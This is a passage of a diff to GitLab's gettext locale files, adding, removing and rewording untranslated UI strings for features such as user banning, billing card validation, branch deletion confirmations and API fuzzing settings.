+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -38152,6 +38920,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38230,7 +39001,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38332,6 +39103,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38392,9 +39166,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38422,10 +39193,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38467,9 +39235,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38485,12 +39250,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38899,6 +39670,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -39022,6 +39799,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/sr_SP/gitlab.po b/locale/sr_SP/gitlab.po
index 3014a2b92df..fc3ec1ffa46 100644
--- a/locale/sr_SP/gitlab.po
+++ b/locale/sr_SP/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: sr\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:25\n"
+"PO-Revision-Date: 2021-06-01 20:48\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -304,6 +304,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -619,9 +625,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -724,10 +727,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -868,6 +871,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -919,9 +928,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -1042,9 +1048,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1108,9 +1120,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1468,6 +1477,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1489,6 +1501,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1558,9 +1573,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1573,6 +1585,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1618,9 +1633,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1660,30 +1672,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1699,7 +1705,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1726,6 +1732,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1993,6 +2008,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2269,6 +2287,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2434,9 +2455,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2449,9 +2467,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2476,9 +2491,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2524,6 +2536,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2542,6 +2557,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2590,6 +2608,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2620,6 +2653,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2674,6 +2710,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2755,6 +2794,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2770,6 +2818,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2782,6 +2836,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2806,6 +2863,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2818,6 +2878,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2863,9 +2926,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2905,9 +2965,6 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3277,9 +3334,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3382,6 +3436,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3595,6 +3652,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3688,9 +3748,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3760,7 +3817,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4237,6 +4294,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4267,16 +4327,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4858,7 +4915,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4927,6 +4984,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -5083,6 +5143,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -5101,6 +5164,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5116,6 +5182,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5134,6 +5203,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5149,6 +5221,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5161,6 +5254,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5170,6 +5266,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5401,6 +5503,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5413,6 +5518,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5422,6 +5530,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5443,12 +5557,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5482,6 +5602,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5494,6 +5617,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5563,6 +5698,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5575,9 +5713,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5644,9 +5788,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5695,15 +5836,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5713,6 +5854,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6406,7 +6550,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6790,72 +6934,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7018,6 +7096,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -7060,12 +7144,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7228,6 +7306,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7312,9 +7393,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7375,7 +7453,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7471,9 +7549,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7486,9 +7561,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7585,9 +7657,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7726,9 +7795,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7741,9 +7807,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -8017,6 +8080,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8161,6 +8233,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8299,9 +8374,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8422,6 +8494,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8485,6 +8560,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
